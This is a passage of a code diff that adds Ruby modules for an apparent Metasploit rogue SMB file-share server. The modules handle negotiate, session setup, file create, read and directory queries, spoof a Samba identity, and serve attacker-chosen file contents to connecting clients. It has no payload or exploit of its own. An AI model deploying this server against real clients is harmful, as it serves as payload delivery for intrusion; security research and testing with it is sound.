CONST::SMB_SYNC_ACCESS
TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS |
CONST::SMB_READ_EA_ACCESS |
CONST::SMB_EXECUTE_ACCESS |
CONST::SMB_READ_ATTRIBUTES_ACCESS |
CONST::SMB_READ_CONTROL_ACCESS |
CONST::SMB_SYNC_ACCESS
# @!attribute share
# @return [String] The share portion of the provided UNC.
attr_accessor :share
# @!attribute folder_name
# @return [String] The folder where the provided file lives.
attr_accessor :folder_name
# @!attribute file_name
# @return [String] The file name of the provided UNC.
attr_accessor :file_name
# @!attribute hi
# @return [Fixnum] The high 4 bytes for the file 'created time'.
attr_accessor :hi
# @!attribute lo
# @return [Fixnum] The low 4 bytes for the file 'created time'.
attr_accessor :lo
# @!attribute file_contents
# @return [String] The contents of the provided file
attr_accessor :file_contents
def initialize(info = {})
super
register_options(
[
OptString.new('SHARE', [ false, 'Share (Default Random)']),
OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']),
OptString.new('FOLDER_NAME', [ false, 'Folder name to share (Default none)']),
OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)'])
], Msf::Exploit::Remote::SMB::Server::Share)
end
# Setups the server configuration.
def setup
super
self.folder_name = datastore['FOLDER_NAME']
self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3))
self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3))
t = Time.now.to_i
self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t)
# The module has an opportunity to set up the file contents in the "primer callback"
if datastore['FILE_CONTENTS']
File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read }
else
self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150))
end
end
# Builds the UNC Name for the shared file
def unc
if folder_name
path = "\\\\#{srvhost}\\#{share}\\#{folder_name}\\#{file_name}"
else
path = "\\\\#{srvhost}\\#{share}\\#{file_name}"
end
path
end
# Builds the server address.
#
# @return [String] The server address.
def srvhost
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
end
# New connection handler, executed when there is a new conneciton.
#
# @param c [Socket] The client establishing the connection.
# @return [Hash] The hash with the client data initialized.
def smb_conn(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:multiplex_id => rand(0xffff),
:process_id => rand(0xffff),
:file_id => 0xdead,
:dir_id => 0xbeef
}
end
# Main dispatcher function. Takes the client data and performs a case switch
# on the command (e.g. Negotiate, Session Setup, Read file, etc.)
#
# @param cmd [Fixnum] The SMB Command requested.
# @param c [Socket] The client to answer.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(buff)
#Record the IDs
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
case cmd
when CONST::SMB_COM_NEGOTIATE
return smb_cmd_negotiate(c, buff)
when CONST::SMB_COM_SESSION_SETUP_ANDX
word_count = pkt['Payload']['SMB'].v['WordCount']
if word_count == 0x0d # Share Security Mode sessions
return smb_cmd_session_setup_andx(c, buff)
else
print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ")
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
when CONST::SMB_COM_TRANSACTION2
return smb_cmd_trans2(c, buff)
when CONST::SMB_COM_NT_CREATE_ANDX
return smb_cmd_nt_create_andx(c, buff)
when CONST::SMB_COM_READ_ANDX
return smb_cmd_read_andx(c, buff)
when CONST::SMB_COM_CLOSE
return smb_cmd_close(c, buff)
else
vprint_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ")
return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end

View File

@ -0,0 +1,16 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
require 'msf/core/exploit/smb/server/share/command/close'
require 'msf/core/exploit/smb/server/share/command/negotiate'
require 'msf/core/exploit/smb/server/share/command/nt_create_andx'
require 'msf/core/exploit/smb/server/share/command/read_andx'
require 'msf/core/exploit/smb/server/share/command/session_setup_andx'
require 'msf/core/exploit/smb/server/share/command/trans2'
end
end
end
end

View File

@ -0,0 +1,38 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Close
# Handles an SMB_COM_CLOSE command, used by the client to close an instance
# of an object associated with a valid FID.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_close(c, buff)
send_close_res(c)
end
# Builds and sends an SMB_COM_CLOSE response.
#
# @param c [Socket] The client to answer.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_close_res(c)
pkt = CONST::SMB_CLOSE_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_CLOSE_RES_WORD_COUNT
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,90 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Negotiate
# Handles an SMB_COM_NEGOTIATE command, used by the client to initiate an
# SMB connection between the client and the server.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_negotiate(c, buff)
pkt = CONST::SMB_NEG_PKT.make_struct
pkt.from_s(buff)
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
dialect = dialects.index("NT LM 0.12") || dialects.length-1
send_negotitate_res(c, {
dialect: dialect,
security_mode: CONST::NEG_SECURITY_PASSWORD,
max_mpx: 50,
max_vcs: 1,
max_buff: 4356,
max_raw: 65536,
server_time_zone: 0,
capabilities: CAPABILITIES,
key_length: 8,
key: Rex::Text.rand_text_hex(8)
})
end
# Builds and sends an SMB_COM_CLOSE response.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <String, Fixnum>}] Response custom values.
# @option opts [Fixnum] :dialect The index of the dialect selected by the server from the request.
# @option opts [Fixnum] :security_mode Security modes supported or required by the server.
# @option opts [Fixnum] :max_mpx The maximum number of outstanding SMB operations that the server supports.
# @option opts [Fixnum] :max_vcs The maximum number of virtual circuits between the client and the server.
# @option opts [Fixnum] :max_buff Largest SMB message that the server can handle.
# @option opts [Fixnum] :max_raw Max size for SMB_COM_WRITE_RAW requests and SMB_COM_READ_RAW responses.
# @option opts [Fixnum] :server_time_zone The server's time zone.
# @option opts [Fixnum] :capabilities The server capability indicators.
# @option opts [Fixnum] :key_length The challenge length.
# @option opts [String] :key The challenge.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_negotitate_res(c, opts = {})
dialect = opts[:dialect] || 0
security_mode = opts[:security_mode] || 0
max_mpx = opts[:max_mpx] || 0
max_vcs = opts[:max_vcs] || 0
max_buff = opts[:max_buff] || 0
max_raw = opts[:max_raw] || 0
server_time_zone = opts[:server_time_zone] || 0
capabilities = opts[:capabilities] || 0
key_length = opts[:key_length] || 0
key = opts[:key] || ''
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NEGOTIATE_RES_WORD_COUNT
pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = security_mode
pkt['Payload'].v['MaxMPX'] = max_mpx
pkt['Payload'].v['MaxVCS'] = max_vcs
pkt['Payload'].v['MaxBuff'] = max_buff
pkt['Payload'].v['MaxRaw'] = max_raw
pkt['Payload'].v['SystemTimeLow'] = lo
pkt['Payload'].v['SystemTimeHigh'] = hi
pkt['Payload'].v['ServerTimeZone'] = server_time_zone
pkt['Payload'].v['SessionKey'] = 0
pkt['Payload'].v['Capabilities'] = capabilities
pkt['Payload'].v['KeyLength'] = key_length
pkt['Payload'].v['Payload'] = key
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,110 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module NtCreateAndx
# Handles an SMB_COM_NT_CREATE_ANDX command, used by the client to create and
# open a new file.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_nt_create_andx(c, buff)
smb = @state[c]
pkt = CONST::SMB_CREATE_PKT.make_struct
pkt.from_s(buff)
payload = (pkt['Payload'].v['Payload']).downcase
payload.gsub!(/^[\x00]*/, '') # delete padding
payload = Rex::Text.ascii_safe_hex(payload)
payload.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
if payload.nil? || payload.empty?
payload = file_name
end
if payload.ends_with?(file_name.downcase)
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX request for #{unc}... ")
fid = smb[:file_id].to_i
attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL
eof = file_contents.length
is_dir = 0
elsif folder_name && payload.ends_with?(folder_name.downcase)
fid = smb[:dir_id].to_i
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
eof = 0
is_dir = 1
elsif payload == "\\"
fid = smb[:dir_id].to_i
attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
eof = 0
is_dir = 1
else
# Otherwise send not found
vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX for #{payload}, not found")
return smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
end
send_nt_create_andx_res(c, {
file_id: fid,
attributes: attribs,
end_of_file_low: eof,
is_directory: is_dir,
alloc_low: 0x100000
})
end
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum>}] Response custom values.
# @option opts [Fixnum] :file_id A FID representing the file or directory created or opened.
# @option opts [Fixnum] :attributes The attributes that the server assigned to the file or directory.
# @option opts [Fixnum] :end_of_file_low The end of file offset value (4 bytes)
# @option opts [Fixnum] :is_directory Indicates if the FID represents a directory.
# @option opts [Fixnum] :alloc_low The number of bytes allocated to the file by the server.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_nt_create_andx_res(c, opts = {})
file_id = opts[:file_id] || 0
attributes = opts[:attributes] || 0
end_of_file_low = opts[:end_of_file_low] || 0
is_directory = opts[:is_directory] || 0
alloc_low = opts[:alloc_low] || 0
pkt = CONST::SMB_CREATE_ANDX_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NT_CREATE_ANDX_RES_WORD_COUNT
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
pkt['Payload'].v['OpLock'] = CONST::LEVEL_II_OPLOCK # Grant Oplock on File
pkt['Payload'].v['FileID'] = file_id
pkt['Payload'].v['Action'] = CONST::FILE_OPEN # The file existed and was opened
pkt['Payload'].v['CreateTimeLow'] = lo
pkt['Payload'].v['CreateTimeHigh'] = hi
pkt['Payload'].v['AccessTimeLow'] = lo
pkt['Payload'].v['AccessTimeHigh'] = hi
pkt['Payload'].v['WriteTimeLow'] = lo
pkt['Payload'].v['WriteTimeHigh'] = hi
pkt['Payload'].v['ChangeTimeLow'] = lo
pkt['Payload'].v['ChangeTimeHigh'] = hi
pkt['Payload'].v['Attributes'] = attributes
pkt['Payload'].v['AllocLow'] = alloc_low
pkt['Payload'].v['AllocHigh'] = 0
pkt['Payload'].v['EOFLow'] = end_of_file_low
pkt['Payload'].v['EOFHigh'] = 0
pkt['Payload'].v['FileType'] = CONST::SMB_RESOURCE_FILE_TYPE_DISK
pkt['Payload'].v['IPCState'] = 0x7 # Number maxim of instance a named pipe can have
pkt['Payload'].v['IsDirectory'] = is_directory
pkt['Payload'].v['MaxAccess'] = CREATE_MAX_ACCESS
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,64 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module ReadAndx
# Handles an SMB_COM_READ_ANDX command, used by the client to read data from a
# file.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_read_andx(c, buff)
pkt = CONST::SMB_READ_PKT.make_struct
pkt.from_s(buff)
offset = pkt['Payload'].v['Offset']
length = pkt['Payload'].v['MaxCountLow']
send_read_andx_res(c, {
data_len_low: length,
byte_count: length,
data: file_contents[offset, length]
})
end
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
# @option opts [Fixnum] :data_len_low The length of the file data sent back.
# @option opts [Fixnum] :byte_count The length of the file data sent back.
# @option opts [String] :data The bytes read from the file.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_read_andx_res(c, opts = {})
data_len_low = opts[:data_len_low] || 0
byte_count = opts[:byte_count] || 0
data = opts[:data] || ''
pkt = CONST::SMB_READ_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_READ_ANDX_RES_WORD_COUNT
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
pkt['Payload'].v['Remaining'] = 0xffff
pkt['Payload'].v['DataLenLow'] = data_len_low
pkt['Payload'].v['DataOffset'] = CONST::SMB_READ_RES_HDR_PKT_LENGTH
pkt['Payload'].v['DataLenHigh'] = 0
pkt['Payload'].v['Reserved3'] = 0
pkt['Payload'].v['Reserved4'] = 0x0a
pkt['Payload'].v['ByteCount'] = byte_count
pkt['Payload'].v['Payload'] = data
c.put(pkt.to_s)
end
end
end
end
end
end

View File

@ -0,0 +1,87 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
# @todo Add support to only allow session setup against the configured shared resource
module SessionSetupAndx
# Handles an SMB_COM_SESSION_SETUP_ANDX command, used by the client to configure an SMB Session.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_session_setup_andx(c, buff)
tree_connect_response = CONST::SMB_TREE_CONN_ANDX_RES_PKT.make_struct
tree_connect_response.v['WordCount'] = CONST::SMB_TREE_CONN_ANDX_WORD_COUNT
tree_connect_response.v['AndXCommand'] = CONST::SMB_COM_NO_ANDX_COMMAND
tree_connect_response.v['AndXReserved'] = 0
tree_connect_response.v['AndXOffset'] = 0
tree_connect_response.v['OptionalSupport'] = 1
tree_connect_response.v['AccessRights'] = TREE_CONNECT_MAX_ACCESS
tree_connect_response.v['GuestAccessRights'] = 0
tree_connect_response.v['Payload'] = "A:\x00#{Rex::Text.to_unicode('NTFS')}\x00\x00"
data = Rex::Text.to_unicode('Unix', 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
Rex::Text.to_unicode('Samba 3.4.7', 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
Rex::Text.to_unicode('WORKGROUP', 'utf-16be') + "\x00\x00\x00" # Primary DOMAIN # Samba signature
send_session_setup_andx_res(c, {
action: CONST::SMB_SETUP_GUEST,
data: data,
andx: CONST::SMB_COM_TREE_CONNECT_ANDX,
andx_offset: 96,
andx_command: tree_connect_response
})
end
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
#
# @param c [Socket] The client to answer.
# @param opts [Hash{Symbol => <Fixnum, String, Rex::Struct2::CStruct>}] Response custom values.
# @option opts [Fixnum] :action SMB Configuration result.
# @option opts [Fixnum] :andx_offset The offset in bytes from the start of the SMB Header to the start
# of the WordCount field in the next SMBCommand.
# @option opts [Fixnum] :reserved Reserved field.
# @option opts [Fixnum] :andx The command code for the next SMB Command in the packet.
# @option opts [String] :data The SMB_Data for the SMB_COM_SESSION_SETUP_ANDX response.
# @option opts [Rex::Struct2::CStruct] :andx_command The next SMB Command in the packet.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_session_setup_andx_res(c, opts = {})
action = opts[:action] || 0
andx_offset = opts[:andx_offset] || 0
reserved = opts[:reserved] || 0
andx = opts[:andx] || CONST::SMB_COM_NO_ANDX_COMMAND
data = opts[:data] || ''
andx_command = opts[:andx_command] || nil
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_SESSION_SETUP_ANDX_RES_WORD_COUNT
pkt['Payload'].v['AndX'] = andx
pkt['Payload'].v['Reserved1'] = reserved
pkt['Payload'].v['AndXOffset'] = andx_offset
pkt['Payload'].v['Action'] = action
pkt['Payload'].v['Payload'] = data
if andx_command
full_pkt = pkt.to_s + andx_command.to_s
original_length = full_pkt[2, 2].unpack('n')[0]
original_length = original_length + andx_command.to_s.length
full_pkt[2, 2] = [original_length].pack('n')
else
full_pkt = pkt.to_s
end
c.put(full_pkt)
end
end
end
end
end
end

View File

@ -0,0 +1,100 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
require 'msf/core/exploit/smb/server/share/command/trans2/find_first2'
require 'msf/core/exploit/smb/server/share/command/trans2/query_file_information'
require 'msf/core/exploit/smb/server/share/command/trans2/query_path_information'
# Handles an SMB_COM_TRANSACTION2 command, used to provide support for a richer set of
# server-side file system handling.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans2(c, buff)
smb = @state[c]
pkt = CONST::SMB_TRANS2_PKT.make_struct
pkt.from_s(buff)
data_trans2 = CONST::SMB_DATA_TRANS2.make_struct
data_trans2.from_s(pkt['Payload'].v['SetupData'])
sub_command = data_trans2.v['SubCommand']
parameters = data_trans2.v['Parameters'].gsub(/^[\x00]*/, '') #delete padding
case sub_command
when CONST::TRANS2_QUERY_FILE_INFO
return smb_cmd_trans2_query_file_information(c, parameters)
when CONST::TRANS2_QUERY_PATH_INFO
return smb_cmd_trans2_query_path_information(c, parameters)
when CONST::TRANS2_FIND_FIRST2
return smb_cmd_trans2_find_first2(c, parameters)
else
vprint_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_TRANSACTION2 subcommand: #{sub_command.to_s(16)}")
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_NT_STATUS_NOT_FOUND, true)
end
end
# Builds and sends an SMB_COM_TRANSACTION2 response.
#
# @param c [Socket] The client to answer.
# @param parameters [Rex::Struct2::CStruct] The SMB_Parameters to include in the response.
# @param data [Rex::Struct2::CStruct] The SMB_Data to include in the response.
# @return [Fixnum] The number of bytes returned to the client as response.
def send_trans2_res(c, parameters, data)
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_TRANS2_RES_WORD_COUNT
pkt['Payload'].v['ParamCountTotal'] = parameters.to_s.length
pkt['Payload'].v['DataCountTotal'] = data.to_s.length
pkt['Payload'].v['ParamCount'] = parameters.to_s.length
pkt['Payload'].v['ParamOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH
pkt['Payload'].v['DataCount'] = data.to_s.length
pkt['Payload'].v['DataOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + parameters.to_s.length
pkt['Payload'].v['Payload'] =
parameters.to_s +
data.to_s
c.put(pkt.to_s)
end
# Converts the path to ascii from unicode and normalizes.
#
# @param path [String] The path to normalize.
# @return [String] The normalized path.
def normalize_path(path)
normalized = Rex::Text.to_ascii(path).downcase
normalized.gsub!(/[\x00]*/, '') #delete padding
normalized.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
normalized
end
# Expands a path with wildcards, and returns the set of matching files.
#
# @param path [String] the path to expand
# @return [String] The matching file.
# @todo It's a shortcut atm, make complete wildcard handling.
# @todo return an Array of matching files.
def smb_expand(path)
search_path = path.gsub(/<\./, '*.') # manage wildcards
extension = File.extname(file_name)
if search_path =~ /\\\*#{extension}$/
search_path.gsub!(/\\\*#{extension}$/, "\\#{file_name}")
end
search_path
end
end
end
end
end
end

View File

@ -0,0 +1,44 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
module FindFirst2
# Handles an TRANS2_FIND_FIRST2 subcommand, used to begin a search for file(s) within a
# directory or for a directory.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans2_find_first2(c, buff)
smb = @state[c]
params = CONST::SMB_TRANS2_FIND_FIRST2_PARAMETERS.make_struct
params.from_s(buff)
loi = params.v['InformationLevel']
normalized_path = normalize_path(params.v['FileName'])
search_path = smb_expand(normalized_path)
case loi
when CONST::SMB_FIND_FILE_NAMES_INFO
return smb_cmd_find_file_names_info(c, search_path)
when CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO
return smb_cmd_find_file_both_directory_info(c, search_path)
when CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO
return smb_cmd_find_file_full_directory_info(c, search_path)
else
# Send STATUS_SUCCESS with the hope of going ahead
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_FIND_FIRST2 with loi: #{loi.to_s(16)}")
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,42 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
#@todo Check FID and no shortcut assuming the request always come for the valid FID
module QueryFileInformation
# Handles an TRANS2_QUERY_FILE_INFORMATION subcommand, used to get information about
# an specific file or directory, using its FID.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans2_query_file_information(c, buff)
smb = @state[c]
params = CONST::SMB_TRANS2_QUERY_FILE_PARAMETERS.make_struct
params.from_s(buff)
loi = params.v['InformationLevel']
fid = params.v['FID']
case loi
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
return smb_cmd_trans_query_file_info_standard(c, fid)
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
return smb_cmd_trans_query_file_info_basic(c, fid)
else
# Send STATUS_SUCCESS with the hope of going ahead
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_FILE_INFORMATION with loi: #{loi.to_s(16)}")
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,43 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module Command
module Trans2
module QueryPathInformation
# Handles an TRANS2_QUERY_PATH_INFORMATION subcommand, used to get information about
# an specific file or directory, using its path.
#
# @param c [Socket] The client sending the request.
# @param buff [String] The data including the client request.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_trans2_query_path_information(c, buff)
smb = @state[c]
params = CONST::SMB_TRANS2_QUERY_PATH_PARAMETERS.make_struct
params.from_s(buff)
loi = params.v['InformationLevel']
file_name = normalize_path(params.v['FileName'])
case loi
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
return smb_cmd_trans_query_path_info_standard(c, file_name)
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
return smb_cmd_trans_query_path_info_basic(c, file_name)
when CONST::SMB_QUERY_FILE_NETWORK_OPEN_INFO
return smb_cmd_trans_query_path_info_network(c, file_name)
else
# Send STATUS_SUCCESS with the hope of going ahead
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_PATH_INFORMATION with loi: #{loi.to_s(16)}")
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,12 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module InformationLevel
require 'msf/core/exploit/smb/server/share/information_level/find'
require 'msf/core/exploit/smb/server/share/information_level/query'
end
end
end
end

View File

@ -0,0 +1,246 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::SMB::Server
module Share
module InformationLevel
module Find
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_BOTH_DIRECTORY_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_find_file_both_directory_info(c, path)
if path && path.include?(file_name.downcase)
data = Rex::Text.to_unicode(file_name)
length = file_contents.length
ea = 0
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
search = 1
elsif path && folder_name && path.ends_with?(folder_name.downcase)
data = Rex::Text.to_unicode(path)
length = 0
ea = 0x21
alloc = 0 # 0Mb
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
search = 0x100
elsif path && path == "\\"
data = Rex::Text.to_unicode(path)
length = 0
ea = 0x21
alloc = 0 # 0Mb
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
search = 0x100
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
end
send_find_file_both_directory_info_res(c, {
data: data,
end_of_file: length,
ea_error_offset: ea,
allocation_size: alloc,
file_attributes: attrib,
search_count: search,
search_offset: search
})
end
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_NAMES_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_find_file_names_info(c, path)
if path && path.include?(file_name.downcase)
data = Rex::Text.to_unicode(file_name)
elsif path && folder_name && path.ends_with?(folder_name.downcase)
data = Rex::Text.to_unicode(path)
elsif path && path == "\\"
data = Rex::Text.to_unicode(path)
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
end
send_find_file_names_info_res(c, { data: data })
end
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_FULL_DIRECTORY_INFO
# Information Level.
#
# @param c [Socket] The client sending the request.
# @param path [String] The path which the client is requesting info from.
# @return [Fixnum] The number of bytes returned to the client as response.
def smb_cmd_find_file_full_directory_info(c, path)
if path && path.include?(file_name.downcase)
data = Rex::Text.to_unicode(file_name)
length = file_contents.length
ea = 0
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
search = 0x100
elsif path && folder_name && path.ends_with?(folder_name.downcase)
data = Rex::Text.to_unicode(path)
length = 0
ea = 0x21
alloc = 0 # 0Mb
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
search = 1
elsif path && path == "\\"
data = Rex::Text.to_unicode(path)
length = 0
ea = 0x21
alloc = 0 # 0Mb
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
search = 1
else
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
end
send_find_full_directory_info_res(c, {
data: data,
end_of_file: length,
ea_error_offset: ea,
allocation_size: alloc,
file_attributes: attrib,
search_count: search,
search_offset: search
})
end
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_BOTH_DIRECTORY_INFO
# information level.
#
# @param c [Socket] The client to answer.
